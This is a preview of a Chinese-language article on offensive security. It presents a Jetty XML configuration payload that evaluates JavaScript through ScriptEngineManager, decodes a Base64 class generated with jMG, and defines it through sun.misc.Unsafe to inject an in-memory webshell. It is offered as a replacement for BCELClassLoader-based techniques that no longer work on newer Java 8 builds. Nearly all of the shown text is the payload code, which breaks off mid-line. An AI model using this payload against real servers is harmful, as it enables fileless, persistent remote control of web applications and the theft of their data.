文章预览
网上目前文章都是使用BCELClassLoader,java8某个小版本后就使用不了了,可以替换为ScriptEngineManager 配合jMG生成Base64进行内存马注入。 < Configure id = "abc" class = "org.eclipse.jetty.webapp.WebAppContext" > < New id = "scriptEngineManager" class = "javax.script.ScriptEngineManager" > New > < Ref refid = "scriptEngineManager" > < Call id = "getEngineByName" name = "getEngineByName" > < Arg > js Arg > Call > Ref > < Ref refid = "getEngineByName" > < Call name = "eval" > < Arg > var str="jMG-Base64"; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java
………………………………